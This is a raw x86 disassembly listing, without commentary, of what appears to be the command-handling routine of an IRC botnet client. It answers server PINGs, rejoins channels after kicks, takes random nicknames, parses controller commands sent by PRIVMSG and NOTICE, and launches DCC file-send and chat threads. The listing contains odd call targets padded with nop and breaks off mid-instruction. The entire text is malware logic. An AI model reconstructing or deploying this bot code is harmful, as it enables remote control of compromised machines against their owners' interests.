var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C2A0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BD10 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BD70 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F6C push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BD10 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BD70 lea eax, [ebp+var_428C] push offset asc_42CDD0 ; " :" push eax call sub_41C080 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BD70 mov esi, offset asc_42CDCC ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41C864 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401B9A: ; CODE XREF: sub_401AC7+E7j push esi push ebx call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401B9A mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F6C cmp [ebp+var_8C], ebx jz loc_401F6C push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BD10 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BE8: ; CODE XREF: sub_401AC7+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C14 cmp byte ptr [eax], 2Dh jnz short loc_401C1C cmp [eax+2], bl jnz short loc_401C1C movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C14: ; CODE XREF: sub_401AC7+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BE8 loc_401C1C: ; CODE XREF: sub_401AC7+12Aj ; sub_401AC7+12Fj cmp [ebp+var_8ED], bl jz short loc_401C27 mov [ebp+var_8], edi loc_401C27: ; CODE XREF: sub_401AC7+15Bj cmp [ebp+var_8F2], bl jz short loc_401C35 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C35: ; CODE XREF: sub_401AC7+166j cmp byte ptr [esi], 0Ah jz short loc_401C6F push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BD70 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BD70 lea eax, [ebp+var_C4] push offset asc_42CDC8 ; "!" push eax call sub_41C864 add esp, 20h loc_401C6F: ; CODE XREF: sub_401AC7+171j push esi push offset aPing ; "PING" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401CC0 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40981C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D64 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 10h jmp loc_401D64 ; --------------------------------------------------------------------------- loc_401CC0: ; CODE XREF: sub_401AC7+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4097D6 push esi push offset a005 ; "005" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4097D6 push esi push offset a302 ; "302" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D2B push offset a@ ; "@" push [ebp+var_84] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_401D64 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BD70 add esp, 0Ch jmp short loc_401D64 ; --------------------------------------------------------------------------- loc_401D2B: ; CODE XREF: sub_401AC7+238j push esi push offset a433 ; "433" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D6B push ebx push dword_42909C push dword_429098 push [ebp+arg_10] call sub_40AE77 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 1Ch loc_401D64: ; CODE XREF: sub_401AC7+1D8j ; sub_401AC7+1F4j ... mov eax, edi jmp loc_401F6F ; --------------------------------------------------------------------------- loc_401D6B: ; CODE XREF: sub_401AC7+273j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D7D: ; CODE XREF: sub_401AC7+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D9A mov [ebp+var_A4], 1 loc_401D9A: ; CODE XREF: sub_401AC7+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D7D mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401E91 mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DC9: ; CODE XREF: sub_401AC7+38Fj cmp [esi], bl jz loc_401E51 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BD70 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E51 cmp [ebp+var_84], ebx jz short loc_401E51 push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401E51 lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD5C push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_2C4] push eax call sub_415CEE add esp, 20h loc_401E51: ; CODE XREF: sub_401AC7+304j ; sub_401AC7+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DC9 push [ebp+var_84] push [ebp+arg_10] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401F6C push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E84: ; CODE XREF: sub_401AC7+5F3j ; sub_401AC7+8B0j ... push [ebp+arg_4] call sub_40981C jmp loc_404243 ; --------------------------------------------------------------------------- loc_401E91: ; CODE XREF: sub_401AC7+2F2j push esi push offset aNick ; "NICK" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401FD4 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EBA: ; CODE XREF: sub_401AC7+445j lea eax, [ebp+var_E04] push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401F07 lea eax, [ebp+var_E04] push 21h push eax call sub_41C720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F07 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C620 push [ebp+arg_1C] push edi call sub_41C630 add esp, 10h mov edi, 80h loc_401F07: ; CODE XREF: sub_401AC7+404j ; sub_401AC7+41Bj add esi, edi dec [ebp+arg_0] jnz short loc_401EBA lea eax, [ebp+var_C4] test eax, eax jz short loc_401F6C cmp [ebp+arg_24], ebx jz short loc_401F6C push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401F44 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BD70 jmp loc_40368F ; --------------------------------------------------------------------------- loc_401F44: ; CODE XREF: sub_401AC7+469j mov edi, [ebp+arg_18] xor esi, esi loc_401F49: ; CODE XREF: sub_401AC7+4A3j cmp [edi], bl jz short loc_401F60 lea eax, [ebp+var_E04] push eax push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_401F74 loc_401F60: ; CODE XREF: sub_401AC7+484j inc esi add edi, 80h cmp esi, 3 jl short loc_401F49 loc_401F6C: ; CODE XREF: sub_401AC7+5Bj ; sub_401AC7+F1j ... push 1 loc_401F6E: ; CODE XREF: sub_401AC7+2A2Ej pop eax loc_401F6F: ; CODE XREF: sub_401AC7+29Fj ; sub_401AC7+2A50j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F74: ; CODE XREF: sub_401AC7+497j lea eax, [ebp+var_E04] push 21h push eax call sub_41C720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F6C push eax call sub_41B960 push [ebp+arg_24] mov edi, eax call sub_41B960 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F6C push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C006 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409862 add esp, 24h jmp short loc_401F6C ; --------------------------------------------------------------------------- loc_401FD4: ; CODE XREF: sub_401AC7+3D9j push esi push offset aPart ; "PART" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_401FF6 push esi push offset aQuit ; "QUIT" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40201D loc_401FF6: ; CODE XREF: sub_401AC7+51Cj mov edi, [ebp+arg_18] xor esi, esi loc_401FFB: ; CODE XREF: sub_401AC7+554j cmp [edi], bl jz short loc_402011 push [ebp+var_90] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_40205E loc_402011: ; CODE XREF: sub_401AC7+536j inc esi add edi, 80h cmp esi, 3 jl short loc_401FFB loc_40201D: ; CODE XREF: sub_401AC7+52Dj push [ebp+var_8C] push offset a353 ; "353" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4020BF push [ebp+var_80] push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402051 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402051: ; CODE XREF: sub_401AC7+57Fj push [ebp+var_80] push offset unk_42CD08 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_40205E: ; CODE XREF: sub_401AC7+548j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCE8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push [ebp+var_8C] push offset aPart ; "PART" call sub_41C7E0 add esp, 18h test eax, eax jnz loc_401F6C lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E84 ; --------------------------------------------------------------------------- loc_4020BF: ; CODE XREF: sub_401AC7+56Aj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C7E0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402113 push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_402113 push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 cmp dword_429088, ebx jz loc_409643 loc_402113: ; CODE XREF: sub_401AC7+612j ; sub_401AC7+624j push [ebp+var_8C] push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_402293 push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_402293 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402157: ; CODE XREF: sub_401AC7+888j ; sub_401AC7+8C4j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCCC mov [ebp+arg_8], eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402529 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4023F3 cmp [ebp+var_A4], ebx jz loc_4023CC push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C006 push [ebp+esi+var_84] lea eax, [ebp+var_1B98] push edi push eax call sub_41C006 push [ebp+esi+var_80] call sub_41BEF9 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC90 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3AD add esp, 44h mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416519 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz loc_4023BB loc_40227D: ; CODE XREF: sub_401AC7+7CAj cmp [ebp+var_19F0], ebx jnz loc_40830C push 32h nop call near ptr 268051Bh jmp short loc_40227D ; --------------------------------------------------------------------------- loc_402293: ; CODE XREF: sub_401AC7+65Cj ; sub_401AC7+672j push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4022AC mov [ebp+var_4], 1 loc_4022AC: ; CODE XREF: sub_401AC7+7DCj cmp [ebp+var_88], ebx jz loc_401F6C push offset dword_42CC8C push [ebp+var_88] call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4022D3 cmp [ebp+var_4], ebx jz short loc_4022DF loc_4022D3: ; CODE XREF: sub_401AC7+805j lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022DF: ; CODE XREF: sub_401AC7+80Aj cmp [ebp+var_84], ebx jz loc_401F6C inc [ebp+var_84] jz short loc_40232B cmp [ebp+arg_10], ebx jz short loc_40232B lea eax, [ebp+var_338] push eax call sub_41B960 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C5E0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402331 ; --------------------------------------------------------------------------- loc_40232B: ; CODE XREF: sub_401AC7+82Aj ; sub_401AC7+82Fj mov esi, [ebp+var_AC] loc_402331: ; CODE XREF: sub_401AC7+862j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F6C push edi push offset dword_42CC80 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402157 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40237C mov eax, dword_4C91B8 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_40237C push eax push ecx push offset dword_42CC64 jmp loc_401E84 ; --------------------------------------------------------------------------- loc_40237C: ; CODE XREF: sub_401AC7+897j ; sub_401AC7+8A7j push edi push offset dword_42CC5C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402157 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402157 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402157 push eax push ecx push offset dword_42CC44 jmp loc_401E84 ; --------------------------------------------------------------------------- loc_4023BB: ; CODE XREF: sub_401AC7+7B0j ; sub_401AC7+76CCj call near ptr 2680DCDh nop push eax push offset unk_42CC08 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_4023CC: ; CODE XREF: sub_401AC7+6DAj lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset unk_42CBC4 push eax call sub_41C006 add esp, 10h jmp loc_40830C ; --------------------------------------------------------------------------- loc_4023F3: ; CODE XREF: sub_401AC7+6CEj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40253F cmp [ebp+var_A4], ebx jz loc_402518 push 1Bh call sub_40B5F5 test eax, eax pop ecx jnz loc_402507 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C006 push [ebp+esi+var_80] call sub_41BEF9 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB9C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3AD add esp, 34h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset word_415FB6 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4024F6 loc_4024E0: ; CODE XREF: sub_401AC7+A2Dj cmp [ebp+var_2904], ebx jnz loc_40830C push 32h call near ptr 268051Bh nop jmp short loc_4024E0 ; --------------------------------------------------------------------------- loc_4024F6: ; CODE XREF: sub_401AC7+A17j nop call near ptr 2680DCDh push eax push offset unk_42CB64 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402507: ; CODE XREF: sub_401AC7+95Dj lea eax, [ebp+var_C4] push eax push offset unk_42CB34 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402518: ; CODE XREF: sub_401AC7+94Dj lea eax, [ebp+var_C4] push eax push offset unk_42CB00 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_401AC7+6B3j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429090 mov [edi], ecx jnz loc_401F6C loc_40253F: ; CODE XREF: sub_401AC7+941j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC ; "c" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40964B push [ebp+arg_8] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40964B cmp [ebp+var_A4], ebx jnz short loc_40258F push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 loc_40258F: ; CODE XREF: sub_401AC7+AACj cmp [ebp+arg_28], ebx jnz loc_409643 xor edi, edi cmp dword_4294D0, ebx jle loc_402744 mov [ebp+arg_20], offset dword_43B4C0 loc_4025AD: ; CODE XREF: sub_401AC7+B05j push [ebp+arg_8] push [ebp+arg_20] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4025D3 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D0 jl short loc_4025AD jmp loc_402744 ; --------------------------------------------------------------------------- loc_4025D3: ; CODE XREF: sub_401AC7+AF5j push offset asc_42CDD0 ; " :" push [ebp+arg_0] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_401F6C mov cl, byte_429090 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429090 mov [eax+3], cl lea ecx, dword_43B4D8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BD70 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402628: ; CODE XREF: sub_401AC7+C12j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C006 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C080 add esp, 14h test eax, eax jz short loc_402694 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_402694 lea eax, dword_43B4C0[edi] push eax call sub_41B960 add [ebp+var_C], eax pop ecx jz short loc_4026CF mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_4026CF push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 0Ch jmp short loc_4026CF ; --------------------------------------------------------------------------- loc_402694: ; CODE XREF: sub_401AC7+B89j ; sub_401AC7+B90j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026CF lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BD70 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 18h loc_4026CF: ; CODE XREF: sub_401AC7+BA2j ; sub_401AC7+BB6j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402628 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026EC: ; CODE XREF: sub_401AC7+C71j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C006 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C080 add esp, 14h test eax, eax jz short loc_40272F mov eax, [edi] cmp eax, ebx jz short loc_40272F push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 0Ch loc_40272F: ; CODE XREF: sub_401AC7+C4Dj ; sub_401AC7+C53j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026EC mov [ebp+var_2C8], 1 loc_402744: ; CODE XREF: sub_401AC7+AD9j ; sub_401AC7+B07j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429090 jz short loc_40275D cmp [ebp+var_2C8], ebx jz loc_40294E loc_40275D: ; CODE XREF: sub_401AC7+C88j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4183EC lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_4183EC push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_4183EC push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE77 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4183EC add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_4183EC mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C080 add esp, 14h loc_4027CF: ; CODE XREF: sub_401AC7+E00j test eax, eax jz loc_4028CC push edi push [ebp+arg_0] call sub_41C080 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BD70 lea eax, [ebp+var_A0] push offset asc_42CABC ; ")" push eax call sub_41C864 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40281B cmp [ebp+var_A0], 39h jle short loc_402831 loc_40281B: ; CODE XREF: sub_401AC7+D49j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BD70 add esp, 0Ch loc_402831: ; CODE XREF: sub_401AC7+D52j lea eax, [ebp+var_A0] push eax call sub_41BEF9 test eax, eax pop ecx jle short loc_402857 lea eax, [ebp+var_A0] push eax call sub_41BEF9 pop ecx mov [ebp+var_94], al jmp short loc_40286B ; --------------------------------------------------------------------------- loc_402857: ; CODE XREF: sub_401AC7+D79j call sub_41C062 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40286B: ; CODE XREF: sub_401AC7+D8Ej lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B960 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BD10 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BD70 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC push edi push [ebp+arg_0] call sub_41C080 add esp, 30h jmp loc_4027CF ; --------------------------------------------------------------------------- loc_4028CC: ; CODE XREF: sub_401AC7+D0Aj mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BD70 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BD70 lea eax, [ebp+var_4EF8] push offset asc_42CDCC ; " " push eax call sub_41C864 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40291C: ; CODE XREF: sub_401AC7+E6Aj push offset asc_42CDCC ; " " push ebx call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40291C mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F6C add ecx, 3 mov [eax], ecx loc_40294E: ; CODE XREF: sub_401AC7+C90j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095F6 push edi push offset aRn ; "rn" call 